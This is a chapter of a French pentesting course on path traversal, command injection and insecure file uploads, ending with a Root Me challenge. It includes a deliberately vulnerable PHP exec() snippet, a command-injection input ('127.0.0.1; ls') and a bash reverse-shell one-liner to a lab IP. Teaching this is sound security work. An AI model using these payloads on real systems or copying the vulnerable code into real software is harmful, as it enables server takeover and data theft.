Dans ce chapitre, nous allons nous intéresser aux vulnérabilités qui permettent de mettre un pied, voire les deux, sur la partie système du serveur. Ces vulnérabilités sont généralement considérées comme importantes (en cas de la lecture seule) voire graves (en cas d'exécution de code arbitraire).
Manipulez les fichiers inclus par le serveur
Commençons avec les vulnérabilités qui permettent surtout de faire de la lecture de fichiers arbitraires sur le serveur :
Path Traversal (ou aussi appelé Directory Traversal).
Local File Inclusion (LFI).
Dans le cadre de ce cours et pour simplifier le concept, nous allons considérer que ce sont deux noms pour désigner une même chose : le fait d’arriver à dire au serveur de nous afficher le contenu d’un fichier arbitraire sur le serveur.
Que permet de faire une vulnérabilité de type Path Traversal ?
Cette vulnérabilité permet de lire le contenu d’un fichier arbitraire sur le serveur, pour peu que le compte possède les droits suffisants.
On peut alors lire :
des fichiers de configuration qui peuvent contenir des identifiants ;
des fichiers système, comme l’historique du bash ou autre ;
le code de l’application éventuellement, pour détecter plus facilement d’autres failles.
On ne peut lire que les fichiers qui sont accessibles au compte avec lequel tourne l’application. Exit par exemple le fichier /etc/shadow qui contient les hashs des mots de passe des utilisateurs locaux sur un serveur Linux, sauf si le serveur web tourne avec les droits root ou qu’il y a un gros problème de droits sur le fichier shadow.
Alors, comment fonctionne une vulnérabilité Path Traversal ?
Il peut y avoir une vulnérabilité de ce type dès lors que l’application fait appel à une page via un paramètre, et qu’elle ne contrôle pas le paramètre en question.
Par exemple, admettons que notre application example.com charge les pages de la manière suivante :
https://example.com/page=accueil.phphttps://example.com/page=login.phphttps://example.com/page=backend.php
Il y a donc dans le répertoire de l’application trois fichiers nommés respectivement accueil.php , login.php , backend.php .
À votre avis, que va-t-il se passer si vous essayez de remonter l’arborescence, voire d’appeler le chemin absolu d’un fichier connu ?
L’application va bêtement suivre le chemin que le paramètre lui indique… Et si vous contrôlez ce paramètre, vous pouvez lui indiquer ce que vous voulez :
Allez, je vous montre sur mon application utilisée pour la démonstration :
Prenez le contrôle du serveur avec les RCE
Passons maintenant aux vulnérabilités permettant de passer de l’application web au socle système, les exécutions de code à distance, ou Remote Code Execution (RCE).
Ces vulnérabilités permettent d'exécuter du code et des commandes sur le serveur avec le compte utilisé par l’application, presque comme si nous étions connectés directement sur le serveur en SSH.
À partir de là, nous pouvons basculer sur ce qu’on appelle de la post-exploitation :
récupérer des informations ;
essayer de gagner des privilèges plus élevés sur le serveur ;
installer de la persistance ;
ou rebondir sur le réseau interne depuis le serveur alors considéré comme compromis.
Dans la plupart des cas, une RCE sur une application implique la compromission totale de l’application, puisqu’on peut généralement modifier le code source, ou accéder à la base de données en ligne de commandes.
Dans cette catégorie, plusieurs types de vulnérabilités existent, notamment :
les injections de commandes ;
les vulnérabilités d’upload de fichiers ;
les LFI que nous avons vus juste au-dessus, dans certains cas ;
les Remote File Inclusion.
Je vais vous présenter les deux premières :
les injections de commandes ;
et les vulnérabilités d’upload de fichiers qui permettent respectivement d’obtenir des "reverse shells" et des "web shells" (qui peuvent être ensuite transformés en reverse shells éventuellement).
Les injections de commande
Revenons sur notre application example.com . Nous avons identifié une page de debug. Les développeurs de l’application ont mis au point une fonctionnalité pour faire un ping vers d’autres systèmes depuis le serveur. Cela leur permet de :
vérifier que leur application peut contacter les autres serveurs dont elle a besoin pour fonctionner ;
éviter de demander aux équipes de production de faire ces tests répétitifs pour eux.
Qu’est-ce qui pourrait mal tourner ?
Le code utilisé doit être une adaptation de celui de la documentation PHP de la fonction exec(), mais les développeurs n’ont malheureusement pas pris le temps de lire toute la page : ils n’ont pas vu l’avertissement et ne l’ont donc pas pris en compte.
Le code doit donc ressembler à ça :
<?php
$output=null;
$retval=null;
$target=$_POST[‘ip’]
exec(ping $target, $output, $retval);
print_r($output);
?>Comment peut-on exploiter cette fonctionnalité de debug ?
En faisant comme si nous étions dans un shell en SSH, et que nous devions chaîner deux commandes pour qu'elles soient envoyées en une seule ligne, ce qu’on appelle aussi un "one-liner".
Plusieurs possibilités s’offrent à nous, comme jouer avec les opérateurs &&, || ou ;.
Je vous montre sur mon application de démo, qui comporte cette vulnérabilité. Dans notre cas, si nous envoyons simplement la commande 127.0.0.1; ls nous obtenons le résultat du ping et de la commande que nous avons envoyée :
À partir de là nous pouvons afficher le contenu des fichiers du serveur avec des commandes Linux comme cat , ou encore tenter d’obtenir ce qu’on appelle un reverse shell, pour pouvoir interagir directement avec la cible, comme si nous avions une connexion SSH :
; bash -c 'bash -i >& /dev/tcp/10.37.129.2/8979 0>&1'
Comment fait-on pour éviter que cette vulnérabilité ne survienne ?
En évitant au maximum d’utiliser des appels système, ou sinon en lisant la documentation.
Les uploads de fichiers
Pour exploiter ce type de vulnérabilité, deux conditions doivent être réunies :
Être en capacité d’uploader un fichier de notre choix.
Pouvoir ensuite exécuter ou faire exécuter ce fichier par l’application ou le système.
Presque toutes les fonctionnalités permettant d’uploader un fichier sont donc susceptibles d’introduire cette vulnérabilité.
Comment détecter et exploiter cette vulnérabilité ?
La détection est relativement simple. Il suffit :
D’uploader le fichier de notre choix sur la fonctionnalité prévue à cet effet et voir s’il est accepté.
S’il est accepté, trouver le moyen d’y accéder pour qu’il soit exécuté.
Par exemple, si dans notre application example.com les différentes populations comme les médecins ou même les patients peuvent téléverser des documents comme des ordonnances ou autre, et que cette fonctionnalité n’est pas sécurisée, ça peut être un vecteur !
Si cette vulnérabilité est détectée, nous avons tout intérêt à déposer ce qu’on appelle des web shells.
Dans la pratique, c’est souvent un petit peu plus compliqué que ça, notamment au niveau de l’upload de fichiers. Il y a généralement des mécanismes de protection en place (parfois simples, parfois très robustes et impossibles à déjouer).
Parmi les mécanismes simples, on rencontre encore de temps en temps des contrôles qui sont effectués côté client (sur l’extension du fichier, par exemple). C’est tout à fait "déjouables" puisque le client, c’est nous, et que nous maîtrisons théoriquement cet environnement d'exécution.
Comment s’en protéger ?
La meilleure manière de s’en protéger est de n’accepter que les types MIME de fichiers dont nous avons besoin dans le cadre de la fonctionnalité, et de faire cette vérification côté serveur.
Des mesures de protection supplémentaires peuvent être ajoutées :
effectuer une analyse antivirus sur les fichiers déposés ;
restreindre le contexte d'exécution de l’application et donc de dépôt des fichiers (chroot).
Il en existe probablement d’autres dépendantes de l’application auditée, pensez à contextualiser vos constats et recommandations !
À vous de jouer !
Challenge
L’interface devrait vous paraître familière.
N’oubliez pas l’énoncé de Root Me :
“Le mot de passe de validation est dans le fichier index.php.”
Bon courage !
Solution
Vous commencez à vous y habituer : nous ne vous donnons pas la solution toute faite, mais tout ce que vous avez besoin de savoir se trouve dans ce chapitre.
En résumé
Arriver à prendre le contrôle du serveur est généralement la consécration pour un pentester (même si ça reste assez rare sur un périmètre restreint).
Plusieurs vulnérabilités permettent d’arriver à ce résultat, notamment les injections de commandes et les uploads de fichiers. Mais ce ne sont pas les seules !
L'injection de commande peut survenir dès lors que :
l’application fait appel à des fonctionnalités système ;
l’utilisateur peut agir sur les paramètres qui sont pris en entrée de ces fonctionnalités ;
en exécutant la bonne commande, nous pouvons obtenir un reverse shell.
L’exploitation de fonctionnalités d’upload de fichiers non sécurisés peut survenir :
si l’application autorise l’upload de n’importe quel type de fichier (notamment de fichiers du langage de l’application) ;
et qu’il est ensuite possible de faire exécuter ces fichiers par l'application.
Dans le cadre d’un test d’intrusion, ce sont généralement des web shells qui sont uploadés, pour pouvoir exécuter des commandes sur le serveur.
Une fois l'exécution de code possible sur un serveur, il est en général considéré que l’application est compromise car il devient possible de récupérer des identifiants de connexion, d’escalader ses privilèges sur le serveur, etc.
Dans le prochain chapitre, nous étudierons en détail les faiblesses que l’on peut rencontrer sur la cinématique d’authentification, et qui peuvent permettre à un attaquant de rentrer sur l’application alors qu’il ne connaît pas de compte initialement.
